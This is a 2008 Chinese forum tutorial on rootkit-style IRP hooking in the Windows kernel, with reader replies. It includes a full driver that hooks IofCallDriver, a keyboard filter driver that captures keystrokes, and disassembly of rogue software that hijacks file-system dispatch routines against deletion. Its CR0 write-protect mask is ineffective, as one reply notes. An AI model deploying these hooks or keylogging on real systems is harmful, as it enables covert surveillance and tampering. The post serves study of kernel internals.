首页
论坛
课程
招聘
combojiang
雪    币: 108
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
44
回帖
766
粉丝
8

[原创]rootkit hook 之[五] -- IRP Hook全家福

2008-2-22 16:42 47083

[原创]rootkit hook 之[五] -- IRP Hook全家福

2008-2-22 16:42
47083
年过得真快,马上过完了。我们今天一起来汇总看看IRP HOOK的方法。又是长篇大论,别着急,慢慢看。谈到irp拦截,基本上有三种方式,一种是在起点拦截,一种是在半路拦截,一种是在终点拦截。 下面我们会详细分析这几种方式哪些是有效的,哪种是无效的。 要理解这几种拦截,我们需要看看irp地传送过程。我们看下图的标准模型。请看大屏幕。

注意这个标准模型中,并不是每种IRP都经过这些步骤,由于设备类型和IRP种类的不同某些步骤会改变或根本不存在。

一、IRP创建。
  由于IRP开始于某个实体调用I/O管理器函数创建它,可以使用下面任何一种函数创建IRP:
        IoBuildAsynchronousFsdRequest 创建异步IRP(不需要等待其完成)。该函数和下一个函数仅适用于创建某些类型的IRP。
        IoBuildSynchronousFsdRequest 创建同步IRP(需要等待其完成)。
        IoBuildDeviceIoControlRequest 创建一个同步IRP_MJ_DEVICE_CONTROL或IRP_MJ_INTERNAL_DEVICE_CONTROL请求。
  IoAllocateIrp 创建上面三个函数不支持的其它种类的IRP。
  由此我们知道,第一种起点拦截的办法就清楚了,那就是HOOK这几个IRP的创建函数。
  由于函数有多个,并且此时irp虽然已经创建,但是还没有进程初始化,也就是说irp堆栈
  单元的内容还没有填充。因此起点拦截的办法是得不到有用信息的。这种办法无效。

二、发往派遣例程
  那么irp是什么时间初始化的呢?
创建完IRP后,你可以调用IoGetNextIrpStackLocation函数获得该IRP第一个堆栈单元的指针。然后初始化这个堆栈单元。在初始化过程的最后,你需要填充MajorFunction代码。堆栈单元初始化完成后,就可以调用IoCallDriver函数把IRP发送到设备驱动程序了。IoCallDriver是一个宏,它内部实现中调用了IofCallDriver. 因此,到这里便有了第二种拦截方法,即中途拦截。

三、派遣例程的作用
1)在派遣例程中完成irp。通常我们做的过滤驱动或者一些简单的驱动,都是这么完成的,直接在派遣例程中返回。不需要经过后面的步骤,派遣函数立即完成该IRP。
例如:NTSTATUS  OnStubDispatch(  IN PDEVICE_OBJECT DeviceObject,
                                  IN PIRP           Irp
                                )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp, IO_NO_INCREMENT );
    return Irp->IoStatus.Status;
}
派遣例程把该IRP传递到处于同一堆栈的下层驱动程序 。
  在这种情况下,通过调用IcCallDriver可以将irp传递到其他的驱动,或者传递到下一层驱动,这时irp变成其他驱动要处理的事情,如果其他驱动的派遣例程处理了irp,就类似1)的情况了,如果没处理,继续向下传,如果中间FDO没有处理,最后传到最低层的硬件驱动上去,也就是我们所谓的PDO. 这个时候,I/O管理器就调用一次StartIo例程,硬件抽象层会通过硬件中断ISR,一个ISR最可能做的事就是调度DPC例程(推迟过程调用)。最后完成这个IRP.,回到I/O管理器。
排队该IRP以便由这个驱动程序中的其它例程来处理 。
例如:NTSTATUS DispatchXxx(...)
{
  ...
  IoMarkIrpPending(Irp);      
  IoStartPacket(device, Irp, NULL, NULL);      
  return STATUS_PENDING;        
}
如果设备正忙,IoStartPacket就把请求放到队列中。如果设备空闲,IoStartPacket将把社
备置成忙并调用StartIo例程。 接下来类似于2)中描述的那样,完成这样一个过程。
       
我们写驱动的时候,对感兴趣的irp,我们都会写派遣例程来进行处理。如果我们把派遣例程给替换了,便有了第三种的irp拦截。
对于第三种的拦截,有两种办法:
一种是写一个过滤驱动放在要拦截的驱动的上层,这是一种安全的办法。例如:
如果我们想拦截系统的文件操作,就必须拦截I/O管理器发向文件系统驱动程序的IRP。而拦 截IRP最简单的方法莫过于创建一个上层过滤器设备对象并将之加入文件系统设备所在的设备堆栈中。具体方法如下:首先通过IoCreateDevice创 建自己的设备对象,然后调用IoGetDeviceObjectPointer来得到文件系统设备(Ntfs,Fastfat,Rdr或Mrxsmb, Cdfs)对象的指针,最后通过IoAttachDeviceToDeviceStack或者IoAttachDevice等函数,将自己的设备放到设备堆栈上成为一个过滤器。这是拦截IRP最常用也是最保险的方法。

还有一种就是直接替换要拦截驱动对象的派遣例程函数表。它的方法更简单且更为直接。
例如:如果我们想拦截系统的文件操作,它先通过ObReferenceObjectByName得到文件系统驱动对象的指针。然后将驱动对象中 MajorFunction数组中的打开,关闭,清除,设置文件信息,和写入调度例程入口地址改为我们驱动中相应钩子函数的入口地址来达到拦截IRP的目的。

总结:
  1) 可用办法之一:hook IofCallDriver实现irp 拦截。
  2) 可用办法之二:写一个过滤驱动,挂在你要hook其irp的那个驱动之上。
  3) 可用办法之三:直接修改你要hook其irp的那个驱动的MajorFunction函数表。

针对于三种可用方法,我们分别给出例子说明:
方法一例子:没必要再细写,只需要注意一点:

lkd>  u IofCallDriver
nt!IofCallDriver:
804ef0f6 ff2500c85480    jmp     dword ptr [nt!pIofCallDriver (8054c800)]
804ef0fc cc              int     3
804ef0fd cc              int     3
804ef0fe cc              int     3

这里我们看到IofCallDriver的地址在开头偏移2个字节地方。看明白这个,后面代码的写法就能搞清楚。

#include "ntddk.h"

typedef NTSTATUS (FASTCALL
*pIofCallDriver)(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp);

pIofCallDriver old_piofcalldriver;
UNICODE_STRING SymbolicLinkName;
PDRIVER_OBJECT g_drvobj;
UNICODE_STRING DeviceName;
PDEVICE_OBJECT deviceObject;
ULONG oData;

#define IOCTL_DISABLE  CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8101,METHOD_BUFFERED,FILE_ANY_ACCESS)   
#define IOCTL_ENABLE   CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8100,METHOD_BUFFERED,FILE_ANY_ACCESS)   

NTSTATUS FASTCALL
NewpIofCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
)
{
         NTSTATUS stat;
         DbgPrint("Hacked Great!");
       
         __asm
         {
         mov ecx,DeviceObject
         mov edx,Irp
         Call old_piofcalldriver
         mov stat,eax
         }
         return stat;
}

NTSTATUS DriverIoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
         PIO_STACK_LOCATION pisl;
         NTSTATUS ns = STATUS_UNSUCCESSFUL;
         ULONG BuffSize, DataSize;
         PVOID pBuff, pData,pInout;
         KIRQL OldIrql;
         ULONG i;
         pisl = IoGetCurrentIrpStackLocation (Irp);
  
         BuffSize = pisl->Parameters.DeviceIoControl.OutputBufferLength;
  
         pBuff = Irp->AssociatedIrp.SystemBuffer;
  
         Irp->IoStatus.Information = 0;
         switch(pisl->Parameters.DeviceIoControl.IoControlCode)
         {
                 case IOCTL_DISABLE:
                 {
                         
                         DbgPrint("IOCTL_DISABLE");
                         ns = STATUS_SUCCESS;
                       
                 }
                 break;
                 case IOCTL_ENABLE:
                 {
                         
                         DbgPrint("IOCTL_ENABLE");
                         ns = STATUS_SUCCESS;
                         
                 }
                 break;
         }
  
         Irp->IoStatus.Status = ns;
         IoCompleteRequest(Irp, IO_NO_INCREMENT);
         return ns;
}
  
NTSTATUS DrivercreateClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
         Irp->IoStatus.Information = 0;
         Irp->IoStatus.Status = STATUS_SUCCESS;
         IoCompleteRequest(Irp, IO_NO_INCREMENT);
         return STATUS_SUCCESS;
  
}

  void UnHookpIofCallDriver()
{
         KIRQL oldIrql;
         ULONG addr = (ULONG)IofCallDriver;

         oldIrql = KeRaiseIrqlToDpcLevel();
         __asm
         {
                 mov eax,cr0
                 mov oData,eax
                 and eax,0xffffffff
                 mov cr0,eax
                 mov eax,addr
                 mov esi,[eax+2]
                 mov eax,old_piofcalldriver
                 mov dword ptr [esi],eax
                 mov eax,oData
                 mov cr0,eax
         }
         KeLowerIrql(oldIrql);
         return ;
}
  
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
         UnHookpIofCallDriver();
         IoDeleteSymbolicLink(&SymbolicLinkName);
         IoDeleteDevice(deviceObject);
}

NTSTATUS DriverClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
         return DrivercreateClose(DeviceObject,Irp);
}

NTSTATUS IoComplete(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
         IoCompleteRequest(Irp,IO_NO_INCREMENT);
         return STATUS_SUCCESS;
}
  

void HookpIofCallDriver()
{
         KIRQL oldIrql;
         ULONG addr = (ULONG)IofCallDriver;
         __asm
         {
                 mov eax,addr
                 mov esi,[eax+2]
                 mov eax,[esi]
                 mov old_piofcalldriver,eax
         }
         oldIrql = KeRaiseIrqlToDpcLevel();
         __asm
         {
                 mov eax,cr0
                 mov oData,eax
                 and eax,0xffffffff
                 mov cr0,eax
                 mov eax,addr
                 mov esi,[eax+2]
                 mov dword ptr [esi],offset NewpIofCallDriver
                 mov eax,oData
                 mov cr0,eax
         }
         KeLowerIrql(oldIrql);
         return ;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
         NTSTATUS status;
         PDRIVER_DISPATCH *ppdd;
         ULONG i;
         PCWSTR dDeviceName = L"\\Device\\irphook";
         PCWSTR dSymbolicLinkName = L"\\DosDevices\\irphook";
  
         RtlInitUnicodeString(&DeviceName, dDeviceName);
         RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
         status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &deviceObject);
         if (!NT_SUCCESS(status)) return status;
         status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);

       
         DriverObject->DriverUnload = DriverUnload;
         ppdd = DriverObject->MajorFunction;
         for(i =0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
                 ppdd[i] = IoComplete;
  
         ppdd [IRP_MJ_CREATE] = DrivercreateClose;
         ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
         g_drvobj = DriverObject;
         HookpIofCallDriver();
         return status;
}

方法二例子
这个例子比较长,我们只看关键代码并说明.

1。将自己挂接到"\\Device\\KeyboardClass0"设备上
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
        DbgPrint("Entering Hook Routine...\n");
        PDEVICE_OBJECT pKeyboardDeviceObject;

        NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
                FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);

        if(!NT_SUCCESS(status))
                return status;
       
        DbgPrint("Created keyboard device successfully...\n");

       
        pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
        pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
        DbgPrint("Flags set succesfully...\n");

        RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
        DbgPrint("Device Extension Initialized...\n");

        PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
       
       
        CCHAR                 ntNameBuffer[64] = "\\Device\\KeyboardClass0";
    STRING                 ntNameString;
        UNICODE_STRING uKeyboardDeviceName;
    RtlInitAnsiString( &ntNameString, ntNameBuffer );
    RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
        IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
        RtlFreeUnicodeString(&uKeyboardDeviceName);
        DbgPrint("Filter Device Attached Successfully...\n");

        return STATUS_SUCCESS;
}

//我们感兴趣的irp处理。由于我们要处理的按键信息,需要等底层驱动处理完成返回后才能取回
//按键值,因此,我们设置完成例程,用于底层驱动完成irp后回调我们的例程。我们设置好完成例//程后,就把irp传到底层驱动进行处理。
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
       
        DbgPrint("Entering DispatchRead Routine...\n");
       
        PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
        PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp);
        *nextIrpStack = *currentIrpStack;

        IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);

         numPendingIrps++;

        DbgPrint("Tagged keyboard 'read' IRP... Passing IRP down the stack... \n");

        return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);

}

//这是完成例程,我们在这里处理得到的按键信息。
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
        DbgPrint("Entering OnReadCompletion Routine...\n");

       
        PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
       

        if(pIrp->IoStatus.Status == STATUS_SUCCESS)
        {
                PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
                int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

                for(int i = 0; i < numKeys; i++)
                {
                        DbgPrint("ScanCode: %x\n", keys[i].MakeCode);
                       
                        if(keys[i].Flags == KEY_BREAK)
                                DbgPrint("%s\n","Key Up");
                       
                        if(keys[i].Flags == KEY_MAKE)
                                DbgPrint("%s\n","Key Down");
               
                       
                        KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
                                                       
               
                        kData->KeyData = (char)keys[i].MakeCode;
                        kData->KeyFlags = (char)keys[i].Flags;

                        DbgPrint("Adding IRP to work queue...");
                        ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
                        &kData->ListEntry,
                        &pKeyboardDeviceExtension->lockQueue);
                        KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);

                }
        }

       
        if(pIrp->PendingReturned)
                IoMarkIrpPending(pIrp);

         numPendingIrps--;

        return pIrp->IoStatus.Status;
}

在这个demo中要注意的是,由于irp的处理函数的IRQL = DISPATCH_LEVEL,因此,我们申请内存的话,只能申请非分页内存。在这个IRQL级别,我们不能创建或者保存文件来记录按键信息。
我们只能创建一个系统线程,在系统线程中完成按键信息的保存。
后面附上DEMO.

方法三的例子
,偶比较懒了,就从流氓软件逆向代码中抠出一段来贴上。有时间的话,我会再写一个demo附上。我已经给加上了详细地注释,很容易明白。
.text:000186A4 sub_186A4       proc near               ; CODE XREF: sub_16FDA+19p
.text:000186A4
.text:000186A4 DestinationString= UNICODE_STRING ptr -18h
.text:000186A4 var_10          = dword ptr -10h
.text:000186A4 var_C           = dword ptr -0Ch
.text:000186A4 var_8           = dword ptr -8
.text:000186A4 var_4           = dword ptr -4
.text:000186A4
.text:000186A4                 push    ebp
.text:000186A5                 mov     ebp, esp
.text:000186A7                 sub     esp, 18h
.text:000186AA                 push    ebx
.text:000186AB                 push    esi
.text:000186AC                 push    edi
.text:000186AD                 push    10h
.text:000186AF                 pop     ecx             ; ecx = 10h
.text:000186B0                 xor     eax, eax
.text:000186B2                 mov     edi, offset dword_36DE0
.text:000186B7                 mov     esi, offset dword_36DFC
.text:000186BC                 rep stosd               ; 清零dword_36de0至dword_36e20的空间
.text:000186BE                 mov     [ebp+var_10], offset aFilesystemNtfs ; "\\FileSystem\\Ntfs"
.text:000186C5                 mov     [ebp+var_C], offset aFilesystemFast ; "\\FileSystem\\Fastfat"
.text:000186CC                 mov     ebx, esi
.text:000186CE                 lea     edi, [ebp+var_10]
.text:000186D1                 mov     [ebp+var_8], 2  ; var_8是一个循环变量
.text:000186D8
.text:000186D8 loc_186D8:                              ; CODE XREF: sub_186A4+72j
.text:000186D8                 push    dword ptr [edi] ; SourceString
.text:000186DA                 lea     eax, [ebp+DestinationString]
.text:000186DD                 push    eax             ; DestinationString
.text:000186DE                 call    ds:RtlInitUnicodeString ; 转换"\\FileSystem\\Ntfs"字符串为UNICODE_STRING类型
.text:000186E4                 lea     eax, [ebp+var_4] ; 用于存放输出的Object指针
.text:000186E7                 push    eax
.text:000186E8                 xor     eax, eax
.text:000186EA                 push    eax
.text:000186EB                 push    eax
.text:000186EC                 push    ds:IoDriverObjectType
.text:000186F2                 push    eax
.text:000186F3                 push    eax
.text:000186F4                 push    40h
.text:000186F6                 lea     eax, [ebp+DestinationString]
.text:000186F9                 push    eax
.text:000186FA                 call    ds:ObReferenceObjectByName ; NTSTATUS
.text:000186FA                                         ; ObReferenceObjectByName (
.text:000186FA                                         ;     __in PUNICODE_STRING ObjectName,
.text:000186FA                                         ;     __in ULONG Attributes,
.text:000186FA                                         ;     __in_opt PACCESS_STATE AccessState,
.text:000186FA                                         ;     __in_opt ACCESS_MASK DesiredAccess,
.text:000186FA                                         ;     __in POBJECT_TYPE ObjectType,
.text:000186FA                                         ;     __in KPROCESSOR_MODE AccessMode,
.text:000186FA                                         ;     __inout_opt PVOID ParseContext,
.text:000186FA                                         ;     __out PVOID *Object
.text:000186FA                                         ;     )
.text:000186FA                                         ;
.text:000186FA                                         ; /*++
.text:000186FA                                         ;
.text:000186FA                                         ; Routine Description:
.text:000186FA                                         ;
.text:000186FA                                         ;     Given a name of an object this routine returns a pointer
.text:000186FA                                         ;     to the body of the object with proper ref counts
.text:000186FA                                         ;
.text:000186FA                                         ; Arguments:
.text:000186FA                                         ;
.text:000186FA                                         ;     ObjectName - Supplies the name of the object being referenced
.text:000186FA                                         ;
.text:000186FA                                         ;     Attributes - Supplies the desired handle attributes
.text:000186FA                                         ;
.text:000186FA                                         ;     AccessState - Supplies an optional pointer to the current access
.text:000186FA                                         ;         status describing already granted access types, the privileges used
.text:000186FA                                         ;         to get them, and any access types yet to be granted.
.text:000186FA                                         ;
.text:000186FA                                         ;     DesiredAccess - Optionally supplies the desired access to the
.text:000186FA                                         ;         for the object
.text:000186FA                                         ;
.text:000186FA                                         ;     ObjectType - Specifies the object type according to the caller
.text:000186FA                                         ;
.text:000186FA                                         ;
.text:00018700                 test    eax, eax        ; AccessMode - Supplies the processor mode of the access
.text:00018700                                         ;
.text:00018700                                         ;     ParseContext - Optionally supplies a context to pass down to the
.text:00018700                                         ;         parse routine
.text:00018700                                         ;
.text:00018700                                         ;     Object - Receives a pointer to the referenced object body
.text:00018700                                         ;
.text:00018700                                         ; Return Value:
.text:00018700                                         ;
.text:00018700                                         ;     An appropriate NTSTATUS value
.text:00018700                                         ;
.text:00018700                                         ; --*/
.text:00018702                 jge     short loc_18708 ; 成功则跳转
.text:00018704                 and     [ebp+var_4], 0
.text:00018708
.text:00018708 loc_18708:                              ; CODE XREF: sub_186A4+5Ej
.text:00018708                 mov     eax, [ebp+var_4] ; 分别取出"\\FileSystem\\Fastfat"和"\\FileSystem\\Ntfs"的对象指针
.text:0001870B                 mov     [ebx], eax
.text:0001870D                 add     edi, 4          ; edi指向var_c
.text:00018710                 add     ebx, 20h        ; ebx指向36e10
.text:00018713                 dec     [ebp+var_8]
.text:00018716                 jnz     short loc_186D8
.text:00018718                 mov     edi, ds:InterlockedExchange
.text:0001871E                 push    2
.text:00018720                 pop     ebx             ; ebx = 2,用作计数
.text:00018721
.text:00018721 loc_18721:                              ; CODE XREF: sub_186A4+DCj
.text:00018721                 mov     eax, [esi]      ; 取前面得到的object指针
.text:00018723                 test    eax, eax
.text:00018725                 jz      short loc_1877C ; 如果取出的对象指针为空,则跳转
.text:00018727                 lea     ecx, [eax+38h]  ; Target
.text:0001872A                 mov     edx, offset loc_184C7 ; Value
.text:0001872F                 call    edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CREATE]
.text:00018731                 mov     ecx, [esi]
.text:00018733                 add     ecx, 40h        ; Target
.text:00018736                 mov     edx, offset loc_1851F ; Value
.text:0001873B                 mov     [esi-1Ch], eax  ; 保存原始值
.text:0001873E                 call    edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CLOSE]
.text:00018740                 mov     ecx, [esi]
.text:00018742                 add     ecx, 50h        ; Target
.text:00018745                 mov     edx, offset loc_18577 ; Value
.text:0001874A                 mov     [esi-18h], eax  ; 保存原始值
.text:0001874D                 call    edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_SET_INFORMATION],用于防删除
.text:0001874F                 mov     ecx, [esi]
.text:00018751                 add     ecx, 48h        ; Target
.text:00018754                 mov     edx, offset loc_185CF ; Value
.text:00018759                 mov     [esi-14h], eax  ; 保存原始值
.text:0001875C                 call    edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_WRITE]
.text:0001875E                 mov     [esi-10h], eax  ; 保存原始值
.text:00018761                 mov     eax, [esi]
.text:00018763                 mov     eax, [eax+28h]  ; FastIoDispatch
.text:00018766                 test    eax, eax
.text:00018768                 jz      short loc_1877C ; 取下一个,并计数器减一
.text:0001876A                 lea     ecx, [eax+0Ch]  ; Target
.text:0001876D                 cmp     dword ptr [ecx], 0 ; 判断FastIoDispatch->FastIoWrite是否为空
.text:00018770                 jz      short loc_1877C ; 取下一个,并计数器减一
.text:00018772                 mov     edx, offset sub_18627 ; Value
.text:00018777                 call    edi ; InterlockedExchange ; 替换FastIoDispatch->FastIoWrite
.text:00018779                 mov     [esi-8], eax    ; 保存原始值
.text:0001877C
.text:0001877C loc_1877C:                              ; CODE XREF: sub_186A4+81j
.text:0001877C                                         ; sub_186A4+C4j ...
.text:0001877C                 add     esi, 20h        ; 取下一个,并计数器减一
.text:0001877F                 dec     ebx
.text:00018780                 jnz     short loc_18721 ; 取前面得到的object指针
.text:00018782                 pop     edi
.text:00018783                 pop     esi
.text:00018784                 pop     ebx
.text:00018785                 leave
.text:00018786                 retn
.text:00018786 sub_186A4       endp
.text:00018786
上传的附件:
最新回复 (41)
sudami
雪    币: 481
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
71
回帖
1575
粉丝
5
sudami 活跃值 25 2008-2-22 16:46
2
0
嗯,KLOGER 是在IRP返回时拦截的。呵呵

顶个
foxabu
雪    币: 217
活跃值: 活跃值 (11)
能力值: ( LV13,RANK:530 )
在线值:
发帖
55
回帖
1239
粉丝
0
foxabu 活跃值 13 2008-2-22 16:50
3
0
有不顶的理由吗?
zhuwg
雪    币: 278
活跃值: 活跃值 (15)
能力值: ( LV12,RANK:470 )
在线值:
发帖
40
回帖
739
粉丝
1
zhuwg 活跃值 11 2008-2-22 19:15
4
0
来膜拜1个  ..
炉子
雪    币: 38
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
4
回帖
319
粉丝
0
炉子 活跃值 3 2008-2-22 19:29
5
0
写得不错,支持下。

btw:有错别字

三、派遣例程的作用
1)在派遣例程中完成irp。通常我们做的过滤驱动或者一些简单的驱动,都是这么完成的,直接在派遣例程中返回。不需要经过后面的步骤,派遣函数立即完成该IRP。
例如:NTSTATUS OnStubDispatch( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp, IO_NO_INCREMENT );
return Irp->IoStatus.Status;
}
派遣例程把该IRP传递到处于同一堆栈的下层驱动程序 。
在这种情况下,通过调用IcCallDriver可以将irp传递到其他的驱动,或者传递到下一层驱动,这时irp变成其他驱动要处理的事情,如果其他驱动的派遣例程处理了irp,就类似1)的情况了,如果没处理,继续向下传,如果中间FDO没有处理,最后传到最低层的硬件驱动上去,也就是我们所谓的PDO. 这个时候,I/O管理器就调用一次StartIo例程,硬件抽象层会通过硬件中断ISR,一个ISR最可能做的事就是调度DPC例程(推迟过程调用)。最后完成这个IRP.,回到I/O管理器。
排队该IRP以便由这个驱动程序中的其它例程来处理 。
北极星2003
雪    币: 1613
能力值: (RANK:1010 )
在线值:
发帖
88
回帖
1240
粉丝
1
北极星2003 活跃值 25 2008-2-22 21:10
6
0
精彩!
NWMonster
雪    币: 100
活跃值: 活跃值 (12)
能力值: ( LV5,RANK:60 )
在线值:
发帖
26
回帖
458
粉丝
2
NWMonster 活跃值 1 2008-2-22 21:33
7
0
强,建议出书吧。
vbcs
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
16
回帖
96
粉丝
0
vbcs 活跃值 2 2008-2-23 11:38
8
0
好好学习!
谢谢楼主
火影
雪    币: 235
活跃值: 活跃值 (10)
能力值: ( LV12,RANK:460 )
在线值:
发帖
24
回帖
141
粉丝
0
火影 活跃值 11 2008-2-23 23:04
9
0
yeah.....!
saysmy
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
14
粉丝
0
saysmy 活跃值 2008-2-24 16:55
10
0
一定要顶,LZ那么用力写. 受益的是我们..
顶.
ljseven
雪    币: 223
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
2
回帖
29
粉丝
0
ljseven 活跃值 2008-2-24 19:28
11
0
学习学习再学习
zhtjia
雪    币: 220
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
43
回帖
232
粉丝
0
zhtjia 活跃值 2008-2-24 19:39
12
0
Oh....
kalahan
雪    币: 260
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
29
粉丝
0
kalahan 活跃值 2008-2-24 21:14
13
0
感谢分享 会有用得
zrhai
雪    币: 211
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
9
回帖
180
粉丝
0
zrhai 活跃值 2008-2-24 22:08
14
0
好文,谢谢楼主!
cscncllf
雪    币: 190
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
10
回帖
125
粉丝
0
cscncllf 活跃值 2008-2-25 16:32
15
0
好好学习一下,LZ太强了!!!!!!!!!!!!
dragonyjd
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
3
回帖
47
粉丝
0
dragonyjd 活跃值 1 2008-2-25 23:40
16
0
虽然看不懂,但一定向LZ好好学习...
Henrybliu
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
5
粉丝
0
Henrybliu 活跃值 2008-2-29 14:47
17
0
极度想拜师!!虽然我还看不太懂。。。
zhoujiamur
雪    币: 210
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
11
回帖
127
粉丝
0
zhoujiamur 活跃值 1 2008-3-4 13:07
18
0
学习,多谢楼主!
netknight
雪    币: 362
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
7
回帖
67
粉丝
0
netknight 活跃值 1 2008-3-5 17:51
19
0
很牛 很复杂
安摧
雪    币: 212
活跃值: 活跃值 (10)
能力值: ( LV7,RANK:100 )
在线值:
发帖
22
回帖
348
粉丝
0
安摧 活跃值 2 2009-2-6 14:05
20
0
来此地再支持一个~~~
lixupeng
雪    币: 564
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
31
回帖
1636
粉丝
0
lixupeng 活跃值 2009-3-17 23:36
21
0
学习。。。。
天堂猪
雪    币: 177
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
3
回帖
82
粉丝
0
天堂猪 活跃值 2009-4-16 14:53
22
0
[QUOTE=combojiang;419136]  void UnHookpIofCallDriver()
{
   KIRQL oldIrql;
   ULONG addr = (ULONG)IofCallDriver;

   oldIrql = KeRaiseIrqlToDpcLevel();
   __asm
   {
     mov eax,cr0
     mov oData,eax
     and eax,0xffffffff
     mov cr0,eax
     mov eax,addr
     mov esi,[eax+2]
     mov eax,old_piofcalldriver
     mov dword ptr [esi],eax
     mov eax,oData
     mov cr0,eax
   }
   KeLowerIrql(oldIrql);
   return ;
}QUOTE]

这里为什么是and eax,0xffffffff?这不是没效果的吗?是不是应该是0xFFFEFFFF
tonghai
雪    币: 50
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
1
粉丝
0
tonghai 活跃值 2009-6-8 15:16
23
0
非常精彩,希望能讲讲进程防杀IRPhook
刘国华
雪    币: 119
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
1
回帖
235
粉丝
0
刘国华 活跃值 2009-6-19 16:22
24
0
强大得无可救药!
x敏m
雪    币: 351
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
12
回帖
231
粉丝
0
x敏m 活跃值 2009-10-26 16:18
25
0
学习中。。。
pcie
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
3
回帖
12
粉丝
0
pcie 活跃值 2010-1-30 15:04
26
0
写的太好了 不知道好久才能到你这个级别。。。。。
baobeizh
雪    币: 16
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
9
粉丝
0
baobeizh 活跃值 2010-2-1 19:52
27
0
需要学习的东西,楼主辛苦。
kesure
雪    币: 22
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
1
粉丝
0
kesure 活跃值 2010-4-21 21:48
28
0
很不错的啵。。。能有更详细点的么?
xinkunguo
雪    币: 5
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
4
回帖
109
粉丝
0
xinkunguo 活跃值 2010-10-11 20:20
29
0
看到了楼住真的很牛哦,很是谢谢
鱼爱上猫
雪    币: 50
